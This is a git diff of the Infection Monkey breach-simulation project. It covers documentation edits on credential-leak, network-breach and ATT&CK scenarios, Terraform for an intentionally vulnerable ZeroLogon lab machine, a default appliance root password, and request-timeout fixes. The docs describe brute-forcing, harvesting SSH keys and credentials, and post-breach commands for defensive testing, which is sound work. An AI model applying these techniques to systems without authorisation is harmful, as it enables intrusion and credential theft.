||||
|
||||
And change the lines:
|
||||
Change the lines:
|
||||
|
||||
```sh
|
||||
auto ens160
|
||||
|
@ -47,7 +51,7 @@ username `root` and password `G3aJ9szrvkxTmfAG`. After logging in, edit the inte
|
|||
gateway YYY.YYY.YYY.YYY
|
||||
```
|
||||
|
||||
Save the changes then run the command
|
||||
Save the changes then run the command:
|
||||
|
||||
```sh
|
||||
sudo ifdown ens160 && ifup ens160
|
||||
|
@ -55,8 +59,10 @@ username `root` and password `G3aJ9szrvkxTmfAG`. After logging in, edit the inte
|
|||
|
||||
## Upgrading
|
||||
|
||||
There's no "upgrade-in-place" option for Docker. To get the new version, download it, stop the current container, and run the installation commands again with the new file.
|
||||
Currently, there's no "upgrade-in-place" option when a new version is released.
|
||||
To get an updated version, download the updated OVA file.
|
||||
|
||||
If you'd like to keep your existing configuration, you can export it to a file by using the Export button and then import it to the new server.
|
||||
If you'd like to keep your existing configuration, you can export it to a file
|
||||
using the *Export config* button and then import it to the new Monkey Island.
|
||||
|
||||
![Export configuration](../../images/setup/export-configuration.png "Export configuration")
|
||||
|
|
|
@ -4,32 +4,39 @@ date: 2020-05-26T20:57:10+03:00
|
|||
draft: false
|
||||
pre: '<i class="fab fa-windows"></i> '
|
||||
weight: 2
|
||||
tags: ["setup", "windows"]
|
||||
tags: ["setup", "windows"]
|
||||
---
|
||||
|
||||
## Deployment
|
||||
|
||||
Run the installer, and you should be met with the following screen:
|
||||
After running the installer, the following prompt should appear on the screen:
|
||||
|
||||
![Windows installer screenshot](../../images/setup/windows/installer-screenshot-1.png "Windows installer screenshot")
|
||||
|
||||
1. Follow the steps of the installation.
|
||||
1. Follow the steps to complete the installation.
|
||||
1. Run the Monkey Island by clicking on the desktop shortcut.
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
### Missing windows update
|
||||
### Missing Windows update
|
||||
|
||||
The installer requires [Windows update #2999226](https://support.microsoft.com/en-us/help/2999226/update-for-universal-c-runtime-in-windows) to be installed. If you’re having trouble running the installer, please make sure to install that update via Windows Update or manually from the link.
|
||||
The installer requires [Windows update #2999226](https://support.microsoft.com/en-us/help/2999226/update-for-universal-c-runtime-in-windows).
|
||||
If you're having trouble running the installer, please make sure to install the
|
||||
update via Windows Update or manually from the link above.
|
||||
|
||||
### Supported browsers
|
||||
|
||||
The Monkey Island supports Chrome (and Chrome-based) browsers. Some Windows Servers only have Internet Explorer installed. Make sure to use Chrome or a similar modern browser. [You can download Google Chrome from here](https://www.google.com/chrome/).
|
||||
The Monkey Island supports Chrome (and Chrome-based) browsers. If your Windows
|
||||
server only has Internet Explorer installed, please install Chrome or a similar
|
||||
modern browser. [You can download Google Chrome
|
||||
here](https://www.google.com/chrome/).
|
||||
|
||||
## Upgrading
|
||||
|
||||
To upgrade, download the new installer and run it. The new Monkey version should be installed over the old one.
|
||||
To upgrade the Infection Monkey on Windows, download the new installer and run
|
||||
it. The new Monkey version will be installed over the old version.
|
||||
|
||||
If you'd like to keep your existing configuration, you can export it to a file by using the Export button and then import it to the new server.
|
||||
If you'd like to keep your existing configuration, you can export it to a file
|
||||
using the *Export config* button and then import it to the new Monkey Island.
|
||||
|
||||
![Export configuration](../../images/setup/export-configuration.png "Export configuration")
|
||||
|
|
|
@ -17,4 +17,4 @@ This section of the documentation is incomplete and under active construction.
|
|||
|
||||
See these documentation pages for information on each configuration value:
|
||||
|
||||
{{% children description=true %}}
|
||||
{{% children description=true style="p"%}}
|
||||
|
|
|
@ -7,4 +7,4 @@ description: "Configure credentials that the Monkey will use for propagation."
|
|||
|
||||
In this screen you can feed the Monkey with “stolen” credentials for your network, simulating an attacker with inside knowledge.
|
||||
|
||||
![Configure credentials](/images/usage/configruation/credentials.png "Configure credentials")
|
||||
![Configure credentials](/images/usage/configuration/credentials.png "Configure credentials")
|
||||
|
|
|
@ -15,7 +15,7 @@ After deploying the Monkey Island in your environment, navigate to `https://<ser
|
|||
|
||||
### First-time login
|
||||
|
||||
On your first login, you'll be asked to set up a username and password for the Monkey Island server. [See this page for more details](../accounts-and-security).
|
||||
On your first login, you'll be asked to set up a username and password for the Monkey Island server. [See this page for more details](../../setup/accounts-and-security).
|
||||
|
||||
### Run the Monkey
|
||||
|
||||
|
|
|
@ -11,4 +11,4 @@ pre: "<i class='fas fa-directions'></i> "
|
|||
|
||||
The Monkey likes working together. See these documentation pages for information on each integration the Monkey currently offers:
|
||||
|
||||
{{% children description=true %}}
|
||||
{{% children description=true style="p"%}}
|
||||
|
|
|
@ -54,16 +54,15 @@ See [Amazon's documentation about working with SSM agents](https://docs.aws.amaz
|
|||
|
||||
### Running the monkey
|
||||
|
||||
When you run the monkey island on an AWS instance, the island detects it's running on AWS and present the following option in the _"Run Monkey"_ page, like so:
|
||||
When you run the Monkey Island on an AWS instance, the island detects it's running on AWS and present the following option in the _"Run Monkey"_ page, like so:
|
||||
|
||||
![Running a Monkey on EC2 Instance](/images/usage/integrations/monkey-island-aws-screenshot-1.png "Running a Monkey on EC2 Instance")
|
||||
|
||||
And then you can choose one of the available instances as "patient zero" like so:
|
||||
After you click on "AWS run" you can choose one of the available instances as "patient zero" like so:
|
||||
|
||||
1. Click on "Run on AWS"
|
||||
2. Choose the relevant Network Interface
|
||||
3. Select the machines you'd like to run the Monkey on
|
||||
4. Click "Run on Selected Machines", and watch the monkey go! 🐒
|
||||
1. Choose the relevant Network Interface
|
||||
2. Select the machines you'd like to run the Monkey on
|
||||
3. Click "Run on Selected Machines", and watch the monkey go! 🐒
|
||||
|
||||
![Running a Monkey on EC2 Instance](/images/usage/integrations/monkey-island-aws-screenshot-2.png "Running a Monkey on EC2 Instance")
|
||||
|
||||
|
|
|
@ -23,6 +23,13 @@ If the correct permissions have been set on the AWS IAM role of the Monkey Islan
|
|||
|
||||
Note that the integration is specifically between your Monkey Island and the security hub. The Infection Monkey is an free project and there is no centralised infrastructure.
|
||||
|
||||
### Enabling finding reception
|
||||
|
||||
Before starting the scan, make sure that AWS Security Hub is accepting findings by enabling Infection Monkey
|
||||
integration. Find **GuardiCore: AWS Infection Monkey** integration on the list and click on **Accept findings**.
|
||||
|
||||
![Enabled integration](/images/usage/integrations/security-hub-enable-accepting-findings.png "Enabled integration")
|
||||
|
||||
## Integration details
|
||||
|
||||
The Infection Monkey reports the following types of issues to the AWS security hub: `Software and Configuration Checks/Vulnerabilities/CVE`.
|
||||
|
@ -40,4 +47,4 @@ After setting up a monkey environment in AWS and attaching the correct IAM roles
|
|||
1. Navigate to `Findings`.
|
||||
2. Press on a specific finding to see more details and possible solutions.
|
||||
|
||||
![AWS Security hub console example](images/usage/integrations/security-hub-console-example.png "AWS Security hub console example")
|
||||
![AWS Security hub console example](/images/usage/integrations/security-hub-console-example.png "AWS Security hub console example")
|
||||
|
|
|
@ -18,4 +18,4 @@ No worries! The Monkey uses safe exploiters and does not cause any permanent sys
|
|||
|
||||
## Section contents
|
||||
|
||||
{{% children description=True %}}
|
||||
{{% children description=True style="p"%}}
|
||||
|
|
|
@ -0,0 +1,38 @@
|
|||
---
|
||||
title: "MITRE ATT&CK assessment"
|
||||
date: 2020-10-22T16:58:22+03:00
|
||||
draft: false
|
||||
description: "Assess your network security detection and prevention capabilities."
|
||||
weight: 2
|
||||
---
|
||||
|
||||
## Overview
|
||||
|
||||
Infection Monkey can simulate various [ATT&CK](https://attack.mitre.org/matrices/enterprise/) techniques on the network.
|
||||
Use it to assess your security solutions' detection and prevention capabilities. Infection Monkey will help you find
|
||||
which ATT&CK techniques go unnoticed and will provide recommendations about preventing them.
|
||||
|
||||
|
||||
## Configuration
|
||||
|
||||
- **ATT&CK matrix** You can use ATT&CK configuration section to select which techniques you want the Monkey to simulate.
|
||||
Leave default settings for the full simulation.
|
||||
- **Exploits -> Credentials** This configuration value will be used for brute-forcing. We use most popular passwords
|
||||
and usernames, but feel free to adjust it according to the default passwords used in your network. Keep in mind that
|
||||
long lists means longer scanning times.
|
||||
- **Network -> Scope** Disable “Local network scan” and instead provide specific network ranges in
|
||||
the “Scan target list”.
|
||||
|
||||
![ATT&CK matrix](/images/usage/scenarios/attack-matrix.png "ATT&CK matrix")
|
||||
|
||||
## Suggested run mode
|
||||
|
||||
Run the Infection Monkey on as many machines in your environment as you can to get a better assessment. This can be easily
|
||||
achieved by selecting the “Manual” run option and executing the command shown on different machines in your environment
|
||||
manually or with your deployment tool.
|
||||
|
||||
## Assessing results
|
||||
|
||||
The **ATT&CK Report** shows the status of ATT&CK techniques simulations. Click on any technique to see more details
|
||||
about it and potential mitigations. Keep in mind that each technique display contains a question mark symbol that
|
||||
will take you to the official documentation of ATT&CK technique, where you can learn more about it.
|
|
@ -1,9 +1,9 @@
|
|||
---
|
||||
title: "Credential Leak"
|
||||
title: "Credentials Leak"
|
||||
date: 2020-08-12T13:04:25+03:00
|
||||
draft: false
|
||||
description: "Assess the impact of successful phishing attack, insider threat, or other form of credentials leak."
|
||||
weight: 4
|
||||
description: "Assess the impact of a successful phishing attack, insider threat, or other form of credentials leak."
|
||||
weight: 5
|
||||
---
|
||||
|
||||
## Overview
|
||||
|
@ -16,25 +16,22 @@ where these credentials can be reused.
|
|||
|
||||
## Configuration
|
||||
|
||||
#### Important configuration values:
|
||||
|
||||
- **Exploits -> Credentials** After setting up the Island add the users’ **real** credentials
|
||||
(usernames and passwords) to the Monkey’s configuration (Don’t worry, this sensitive data is not accessible and is not
|
||||
distributed or used in any way other than being sent to the monkeys, and can be easily eliminated by resetting the Monkey Island’s configuration).
|
||||
- **Exploits -> Credentials** After setting up the Island add the users' **real** credentials
|
||||
(usernames and passwords) to the Monkey's configuration (Don't worry, this sensitive data is not accessible and is not
|
||||
distributed or used in any way other than being sent to the monkeys, and can be easily eliminated by resetting the Monkey Island's configuration).
|
||||
- **Internal -> Exploits -> SSH keypair list** Monkey automatically gathers SSH keys on the current system.
|
||||
For this to work, Monkey Island or initial Monkey needs to have access to SSH key files(grant permission or run Monkey as root).
|
||||
To make sure SSH keys were gathered successfully, refresh the page and check this configuration value after you run the Monkey
|
||||
(content of keys will not be displayed, it will appear as `<Object>`).
|
||||
|
||||
To simulate the damage from a successful phishing attack using the Infection Monkey, choose machines in your network
|
||||
from potentially problematic group of machines, such as the laptop of one of your heavy email users or
|
||||
one of your strong IT users (think of people who are more likely to correspond with people outside of
|
||||
your organization). Execute the Monkey on chosen machines by clicking on “**1. Run Monkey**” from the left sidebar menu
|
||||
and choosing “**Run on machine of your choice**”.
|
||||
## Suggested run mode
|
||||
|
||||
Execute the Monkey on a chosen machine in your network using the “Manual” run option.
|
||||
Run the Monkey as a privileged user to make sure it gathers as many credentials from the system as possible.
|
||||
|
||||
![Exploit password and user lists](/images/usage/scenarios/user-password-lists.png "Exploit password and user lists")
|
||||
|
||||
## Assessing results
|
||||
|
||||
To assess the impact of leaked credentials see Security report. It's possible, that credential leak resulted in even
|
||||
To assess the impact of leaked credentials see Security report. It's possible that credential leak resulted in even
|
||||
more leaked credentials, for that look into **Security report -> Stolen credentials**.
|
||||
|
|
|
@ -1,55 +0,0 @@
|
|||
---
|
||||
title: "IDS/IPS Test"
|
||||
date: 2020-08-12T13:07:47+03:00
|
||||
draft: false
|
||||
description: "Test your network defence solutions."
|
||||
weight: 5
|
||||
---
|
||||
|
||||
## Overview
|
||||
|
||||
The Infection Monkey can help you verify that your security solutions are working the way you expected them to.
|
||||
These may include your IR and SOC teams, your SIEM, your firewall, your endpoint security solution, and more.
|
||||
|
||||
## Configuration
|
||||
|
||||
#### Important configuration values:
|
||||
|
||||
- **Monkey -> Post breach** Post breach actions simulate the actions an attacker would make on infected system.
|
||||
To test something not present on the tool, you can provide your own file or command to be ran.
|
||||
|
||||
The default configuration is good enough for many cases, but configuring testing scope and adding brute-force
|
||||
credentials is a good bet in any scenario.
|
||||
|
||||
Running the Monkey on both the Island and on a few other machines in the network manually is also recommended,
|
||||
as it increases coverage and propagation rates.
|
||||
|
||||
|
||||
![Post breach configuration](/images/usage/use-cases/ids-test.PNG "Post breach configuration")
|
||||
|
||||
## Assessing results
|
||||
|
||||
After running the Monkey, follow the Monkeys’ actions on the Monkey Island’s infection map.
|
||||
|
||||
Now you can match this activity from the Monkey timeline display to your internal SIEM and make sure your security
|
||||
solutions are identifying and correctly alerting on different attacks.
|
||||
|
||||
- The red arrows indicate successful exploitations. If you see red arrows, those incidents ought to be reported as
|
||||
exploitation attempts, so check whether you are receiving alerts from your security systems as expected.
|
||||
- The orange arrows indicate scanning activity, usually used by attackers to locate potential vulnerabilities.
|
||||
If you see orange arrows, those incidents ought to be reported as scanning attempts (and possibly as segmentation violations).
|
||||
- The blue arrows indicate tunneling activity, usually used by attackers to infiltrate “protected” networks from
|
||||
the Internet. Perhaps someone is trying to bypass your firewall to gain access to a protected service in your network?
|
||||
Check if your micro-segmentation / firewall solution identify or report anything.
|
||||
|
||||
While running this scenario, be on the lookout for the action that should arise:
|
||||
Did you get a phone call telling you about suspicious activity inside your network? Are events flowing
|
||||
into your security events aggregators? Are you getting emails from your IR teams?
|
||||
Is the endpoint protection software you installed on machines in the network reporting on anything? Are your
|
||||
compliance scanners detecting anything wrong?
|
||||
|
||||
Lastly, check Zero Trust and Mitre ATT&CK reports, to see which attacks can be executed on the network and how to
|
||||
fix it.
|
||||
|
||||
![Map](/images/usage/use-cases/map-full-cropped.png "Map")
|
||||
|
|
@ -3,7 +3,7 @@ title: "Network Breach"
|
|||
date: 2020-08-12T13:04:55+03:00
|
||||
draft: false
|
||||
description: "Simulate an internal network breach and assess the potential impact."
|
||||
weight: 1
|
||||
weight: 3
|
||||
---
|
||||
|
||||
## Overview
|
||||
|
@ -17,7 +17,6 @@ Infection Monkey will help you assess the impact of internal network breach, by
|
|||
|
||||
## Configuration
|
||||
|
||||
#### Important configuration values:
|
||||
- **Exploits -> Exploits** You can review the exploits Infection Monkey will be using. By default all
|
||||
safe exploiters are selected.
|
||||
- **Exploits -> Credentials** This configuration value will be used for brute-forcing. We use most popular passwords
|
||||
|
@ -34,6 +33,15 @@ all post breach actions. These actions simulate attacker's behaviour after getti
|
|||
|
||||
![Exploiter selector](/images/usage/use-cases/network-breach.PNG "Exploiter selector")
|
||||
|
||||
## Suggested run mode
|
||||
|
||||
Decide which machines you want to simulate a breach on and use the “Manual” run option to start Monkeys there.
|
||||
Use high privileges to run the Monkey to simulate an attacker that was able to elevate its privileges.
|
||||
You could also simulate an attack initiated from an unidentified machine connected to the network (a technician
|
||||
laptop, 3rd party vendor machine, etc) by running the Monkey on a dedicated machine with an IP in the network you
|
||||
wish to test.
|
||||
|
||||
|
||||
## Assessing results
|
||||
|
||||
Check infection map and security report to see how far monkey managed to propagate in the network and which
|
||||
|
|
|
@ -2,18 +2,18 @@
|
|||
title: "Network Segmentation"
|
||||
date: 2020-08-12T13:05:05+03:00
|
||||
draft: false
|
||||
description: "Test network segmentation policies for apps that need ringfencing or tiers that require microsegmentation."
|
||||
weight: 3
|
||||
description: "Verify your network is properly segmented."
|
||||
weight: 4
|
||||
---
|
||||
|
||||
## Overview
|
||||
|
||||
Segmentation is a method of creating secure zones in data centers and cloud deployments that allows companies to
|
||||
isolate workloads from one another and secure them individually, typically using policies.
|
||||
A useful way to test the effectiveness of your segmentation is to ensure that your network segments are
|
||||
properly separated, e,g, your Development is separated from your Production, your applications are separated from one
|
||||
another etc. To security test is to verify that your network segmentation is configured properly. This way you make
|
||||
sure that even if a certain attacker has breached your defenses, it can’t move laterally from point A to point B.
|
||||
Segmentation is a method of creating secure zones in data centers and cloud deployments that allows companies to
|
||||
isolate workloads from one another and secure them individually, typically using policies. A useful way to test
|
||||
the effectiveness of your segmentation is to ensure that your network segments are properly separated, e,g, your
|
||||
Development is separated from your Production, your applications are separated from one another etc. Use the
|
||||
Infection Monkey to verify that your network segmentation is configured properly. This way you make sure that
|
||||
even if a certain attacker has breached your defenses, it can't move laterally between segments.
|
||||
|
||||
[Segmentation is key](https://www.guardicore.com/use-cases/micro-segmentation/) to protecting your network, reducing
|
||||
the attack surface and minimizing the damage of a breach. The Monkey can help you test your segmentation settings with
|
||||
|
@ -21,8 +21,6 @@ its cross-segment traffic testing feature.
|
|||
|
||||
## Configuration
|
||||
|
||||
#### Important configuration values:
|
||||
|
||||
- **Network -> Network analysis -> Network segmentation testing** This configuration setting allows you to define
|
||||
subnets that should be segregated from each other. If any of provided networks can reach each other, you'll see it
|
||||
in security report.
|
||||
|
@ -32,12 +30,12 @@ its cross-segment traffic testing feature.
|
|||
all post breach actions. These actions simulate attacker's behaviour after getting access to a new system, so they
|
||||
might trigger your defence solutions which will interrupt segmentation test.
|
||||
|
||||
Execute Monkeys on machines in different subnetworks manually, by choosing “**1. Run Monkey**” from the left sidebar menu
|
||||
and clicking on “**Run on machine of your choice**”.
|
||||
Alternatively, you could provide valid credentials and allow Monkey to propagate to relevant subnetworks by itself.
|
||||
## Suggested run mode
|
||||
|
||||
Execute Monkeys on machines in different subnetworks using the “Manual” run option.
|
||||
|
||||
Note that if Monkey can't communicate to the Island, it will
|
||||
not be able to send scan results, so make sure all machines can reach the island.
|
||||
not be able to send scan results, so make sure all machines can reach the island.
|
||||
|
||||
![How to configure network segmentation testing](/images/usage/scenarios/segmentation-config.png "How to configure network segmentation testing")
|
||||
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
title: "Other"
|
||||
date: 2020-08-12T13:07:55+03:00
|
||||
draft: false
|
||||
description: "Tips and tricks about configuring monkey for your needs."
|
||||
description: "Tips and tricks about configuring Monkeys for your needs."
|
||||
weight: 100
|
||||
---
|
||||
|
||||
|
@ -10,33 +10,52 @@ weight: 100
|
|||
|
||||
This page provides additional information about configuring monkeys, tips and tricks and creative usage scenarios.
|
||||
|
||||
## ATT&CK & Zero Trust scanning
|
||||
## Custom behaviour
|
||||
|
||||
You can use **ATT&CK** configuration section to select which techniques you want to scan. Keep in mind that ATT&CK
|
||||
matrix configuration just changes the overall configuration by modifying related fields, thus you should start by
|
||||
modifying and saving the matrix. After that you can change credentials and scope of the scan, but exploiters,
|
||||
post breach actions and other configuration values will be already chosen based on ATT&CK matrix and shouldn't be
|
||||
modified.
|
||||
|
||||
There's currently no way to configure monkey using Zero Trust framework, but regardless of configuration options,
|
||||
you'll always be able to see ATT&CK and Zero Trust reports.
|
||||
If you want Monkey to run some kind of script or a tool after it breaches a machine, you can configure it in
|
||||
**Configuration -> Monkey -> Post breach**. Just input commands you want executed in the corresponding fields.
|
||||
You can also upload files and call them through commands you entered in command fields.
|
||||
|
||||
## Tips and tricks
|
||||
## Accelerate the test
|
||||
|
||||
- Use **Monkey -> Persistent scanning** configuration section to either have periodic scans or to increase
|
||||
reliability of exploitations.
|
||||
|
||||
- To increase propagation run monkey as root/administrator. This will ensure that monkey will gather credentials
|
||||
on current system and use them to move laterally.
|
||||
To improve scanning speed you could **specify a subnet instead of scanning all of the local network**.
|
||||
|
||||
- Every network has its old “skeleton keys” that should have long been discarded. Configure the Monkey with old and stale passwords, but make sure that they were really discarded using the Monkey. To add the old passwords, in the island’s configuration, go to the “Exploit password list” under “Basic - Credentials” and use the “+” button to add the old passwords to the configuration. For example, here we added a few extra passwords (and a username as well) to the configuration:
|
||||
The following configuration values also have an impact on scanning speed:
|
||||
- **Credentials** - the more usernames and passwords you input, the longer it will take the Monkey to scan machines having
|
||||
remote access services. Monkeys try to stay elusive and leave a low impact, thus brute forcing takes longer than with
|
||||
loud conventional tools.
|
||||
- **Network scope** - scanning large networks with a lot of propagations can become unwieldy. Instead, try to scan your
|
||||
networks bit by bit with multiple runs.
|
||||
- **Post breach actions** - you can disable most of these if you only care about propagation.
|
||||
- **Internal -> TCP scanner** - you can trim the list of ports monkey tries to scan increasing performance even further.
|
||||
|
||||
## Combining different scenarios
|
||||
|
||||
Infection Monkey is not limited to the scenarios mentioned in this section, once you get the hang of configuring it,
|
||||
you might come up with your own use case or test all of suggested scenarios at the same time! Whatever you do,
|
||||
Security, ATT&CK and Zero Trust reports will be waiting for you!
|
||||
|
||||
## Persistent scanning
|
||||
|
||||
Use **Monkey -> Persistent** scanning configuration section to either have periodic scans or to increase reliability of
|
||||
exploitations by running consecutive Infection Monkey scans.
|
||||
|
||||
## Credentials
|
||||
|
||||
Every network has its old “skeleton keys” that should have long been discarded. Configure the Monkey with old and stale
|
||||
passwords, but make sure that they were really discarded using the Monkey. To add the old passwords, in the island's
|
||||
configuration, go to the “Exploit password list” under “Basic - Credentials” and use the “+” button to add the old
|
||||
passwords to the configuration. For example, here we added a few extra passwords (and a username as well) to the
|
||||
configuration:
|
||||
|
||||
![Exploit password and user lists](/images/usage/scenarios/user-password-lists.png "Exploit password and user lists")
|
||||
|
||||
- To see the Monkey executing in real-time on your servers, add the **post-breach action** command: `wall “Infection Monkey was here”`. This post breach command will broadcast a message across all open terminals on the servers the Monkey breached, to achieve the following: Let you know the Monkey ran successfully on the server. let you follow the breach “live” alongside the infection map, and check which terminals are logged and monitored inside your network. See below:
|
||||
## Check logged and monitored terminals
|
||||
|
||||
To see the Monkey executing in real-time on your servers, add the **post-breach action** command:
|
||||
`wall “Infection Monkey was here”`. This post breach command will broadcast a message across all open terminals on
|
||||
the servers the Monkey breached, to achieve the following: Let you know the Monkey ran successfully on the server.
|
||||
Let you follow the breach “live” alongside the infection map, and check which terminals are logged and monitored
|
||||
inside your network. See below:
|
||||
|
||||
![How to configure post breach commands](/images/usage/scenarios/pba-example.png "How to configure post breach commands.")
|
||||
|
||||
- If you're scanning a large network, consider narrowing the scope and scanning it bit by bit if scan times become too
|
||||
long. Lowering the amount of credentials, exploiters or post breach actions can also help to lower scanning times.
|
||||
|
||||
|
|
|
@ -0,0 +1,42 @@
|
|||
---
|
||||
title: "Zero Trust assessment"
|
||||
date: 2020-10-22T16:58:09+03:00
|
||||
draft: false
|
||||
description: "See where you stand in your Zero Trust journey."
|
||||
weight: 1
|
||||
---
|
||||
|
||||
## Overview
|
||||
|
||||
Infection Monkey will help you assess your progress on your journey to achieve Zero Trust network.
|
||||
The Infection Monkey will automatically assess your readiness across the different
|
||||
[Zero Trust Extended Framework](https://www.forrester.com/report/The+Zero+Trust+eXtended+ZTX+Ecosystem/-/E-RES137210) principles.
|
||||
|
||||
## Configuration
|
||||
|
||||
- **Exploits -> Credentials** This configuration value will be used for brute-forcing. We use most popular passwords
|
||||
and usernames, but feel free to adjust it according to the default passwords used in your network.
|
||||
Keep in mind that long lists means longer scanning times.
|
||||
- **Network -> Scope** Disable “Local network scan” and instead provide specific network ranges in the “Scan target list”.
|
||||
- **Network -> Network analysis -> Network segmentation testing** This configuration setting allows you to define
|
||||
subnets that should be segregated from each other.
|
||||
|
||||
In general, other configuration value defaults should be good enough, but feel free to see the “Other” section
|
||||
for tips and tricks about other features and in-depth configuration parameters you can use.
|
||||
|
||||
![Exploit password and user lists](/images/usage/scenarios/user-password-lists.png "Exploit password and user lists")
|
||||
|
||||
## Suggested run mode
|
||||
|
||||
Run the Monkey on as many machines as you can. This can be easily achieved by selecting the “Manual” run option and
|
||||
executing the command shown on different machines in your environment manually or with your deployment tool.
|
||||
In addition, you can use any other run options you see fit.
|
||||
|
||||
## Assessing results
|
||||
|
||||
See the results in the Zero Trust report section. “The Summary” section will give you an idea about which Zero Trust
|
||||
pillars were tested, how many tests were done and test statuses. Specific tests are described in the “Test Results”
|
||||
section. The “Findings” section shows details about the Monkey actions. Click on “Events” of different findings to
|
||||
observe what exactly Infection Monkey did and when it was done. This should make it easy to cross reference events
|
||||
with your security solutions and alerts/logs.
|
||||
|
Before Width: | Height: | Size: 72 KiB After Width: | Height: | Size: 72 KiB |
Before Width: | Height: | Size: 51 KiB After Width: | Height: | Size: 72 KiB |
Before Width: | Height: | Size: 44 KiB After Width: | Height: | Size: 97 KiB |
BIN
docs/static/images/usage/integrations/security-hub-enable-accepting-findings.png
vendored
Normal file
After Width: | Height: | Size: 145 KiB |
After Width: | Height: | Size: 158 KiB |
|
@ -1 +1 @@
|
|||
Subproject commit 4fdb70e3639143076ce2cd7d5a69cc1df8e78caf
|
||||
Subproject commit 045d78bc98540c9b96518df73c05fdb9d16507ba
|
|
@ -58,13 +58,13 @@ Requirements:
|
|||
To deploy:
|
||||
1. Configure service account for your project:
|
||||
|
||||
a. Create a service account (GCP website -> IAM -> service accounts) and name it “your\_name-monkeyZoo-user”
|
||||
a. Create a service account (GCP website -> IAM & Admin -> Service Accounts -> + CREATE SERVICE ACCOUNT) and name it “your\_name-monkeyZoo-user”
|
||||
|
||||
b. Give these permissions to your service account:
|
||||
|
||||
**Compute Engine -> Compute Network Admin**
|
||||
and
|
||||
**Compute Engine -> Compute Instance Admin**
|
||||
**Compute Engine -> Compute Instance Admin (v1)**
|
||||
and
|
||||
**Compute Engine -> Compute Security Admin**
|
||||
and
|
||||
|
@ -74,10 +74,12 @@ To deploy:
|
|||
|
||||
**Project -> Owner**
|
||||
|
||||
c. Download its **Service account key** in JSON and place it in **/gcp_keys** as **gcp_key.json**.
|
||||
2. Get these permissions in monkeyZoo project for your service account (ask monkey developers to add them):
|
||||
c. Create and download its **Service account key** in JSON and place it in **monkey_zoo/gcp_keys** as **gcp_key.json**.
|
||||
|
||||
2. Get these permissions in the monkeyZoo project (guardicore-22050661) for your service account (ask monkey developers to add them):
|
||||
|
||||
a. **Compute Engine -\> Compute image user**
|
||||
|
||||
3. Change configurations located in the
|
||||
../monkey/envs/monkey\_zoo/terraform/config.tf file (don’t forget to
|
||||
link to your service account key file):
|
||||
|
@ -1098,6 +1100,26 @@ fullTest.conf is a good config to start, because it covers all machines.
|
|||
</tbody>
|
||||
</table>
|
||||
|
||||
<table>
|
||||
<thead>
|
||||
<tr class="header">
|
||||
<th><p>Nr. <strong>25</strong> ZeroLogon</p>
|
||||
<p>(10.2.2.25)</p></th>
|
||||
<th>(Vulnerable)</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr class="odd">
|
||||
<td>OS:</td>
|
||||
<td><strong>Server 2016</strong></td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<td>Default server’s port:</td>
|
||||
<td>135</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
<table>
|
||||
<thead>
|
||||
<tr class="header">
|
||||
|
|
|
@ -85,6 +85,10 @@ data "google_compute_image" "struts2-24" {
|
|||
name = "struts2-24"
|
||||
project = local.monkeyzoo_project
|
||||
}
|
||||
data "google_compute_image" "zerologon-25" {
|
||||
name = "zerologon-25"
|
||||
project = local.monkeyzoo_project
|
||||
}
|
||||
data "google_compute_image" "island-linux-250" {
|
||||
name = "island-linux-250"
|
||||
project = local.monkeyzoo_project
|
||||
|
|
|
@ -432,6 +432,21 @@ resource "google_compute_instance_from_template" "struts2-24" {
|
|||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "zerologon-25" {
|
||||
name = "${local.resource_prefix}zerologon-25"
|
||||
source_instance_template = local.default_windows
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = data.google_compute_image.zerologon-25.self_link
|
||||
}
|
||||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
||||
network_ip="10.2.2.25"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "island-linux-250" {
|
||||
name = "${local.resource_prefix}island-linux-250"
|
||||
machine_type = "n1-standard-2"
|
||||
|
|
|
@ -0,0 +1,4 @@
|
|||
[run]
|
||||
omit =
|
||||
*/test_*.py
|
||||
*/*_test.py
|
|
@ -4,6 +4,7 @@ import requests
|
|||
|
||||
from common.cloud.environment_names import Environment
|
||||
from common.cloud.instance import CloudInstance
|
||||
from common.common_consts.timeouts import SHORT_REQUEST_TIMEOUT
|
||||
|
||||
LATEST_AZURE_METADATA_API_VERSION = "2019-04-30"
|
||||
AZURE_METADATA_SERVICE_URL = "http://169.254.169.254/metadata/instance?api-version=%s" % LATEST_AZURE_METADATA_API_VERSION
|
||||
|
@ -32,7 +33,9 @@ class AzureInstance(CloudInstance):
|
|||
self.on_azure = False
|
||||
|
||||
try:
|
||||
response = requests.get(AZURE_METADATA_SERVICE_URL, headers={"Metadata": "true"})
|
||||
response = requests.get(AZURE_METADATA_SERVICE_URL,
|
||||
headers={"Metadata": "true"},
|
||||
timeout=SHORT_REQUEST_TIMEOUT)
|
||||
self.on_azure = True
|
||||
|
||||
# If not on cloud, the metadata URL is non-routable and the connection will fail.
|
||||
|
|
|
@ -4,6 +4,7 @@ import requests
|
|||
|
||||
from common.cloud.environment_names import Environment
|
||||
from common.cloud.instance import CloudInstance
|
||||
from common.common_consts.timeouts import SHORT_REQUEST_TIMEOUT
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
@ -26,7 +27,7 @@ class GcpInstance(CloudInstance):
|
|||
|
||||
try:
|
||||
# If not on GCP, this domain shouldn't resolve.
|
||||
response = requests.get(GCP_METADATA_SERVICE_URL)
|
||||
response = requests.get(GCP_METADATA_SERVICE_URL, timeout=SHORT_REQUEST_TIMEOUT)
|
||||
|
||||
if response:
|
||||
logger.debug("Got ok metadata response: on GCP")
|
||||
|
|
|
@ -0,0 +1,3 @@
|
|||
SHORT_REQUEST_TIMEOUT = 2.5 # Seconds. Use where we expect timeout.
|
||||
MEDIUM_REQUEST_TIMEOUT = 5 # Seconds. Use where we don't expect timeout.
|
||||
LONG_REQUEST_TIMEOUT = 15 # Seconds. Use where we don't expect timeout and operate heavy data.
|
|
@ -40,3 +40,7 @@ class ScoutSuiteScanError(Exception):
|
|||
|
||||
class UnknownFindingError(Exception):
|
||||
""" Raise when provided finding is of unknown type"""
|
||||
|
||||
|
||||
class VersionServerConnectionError(Exception):
|
||||
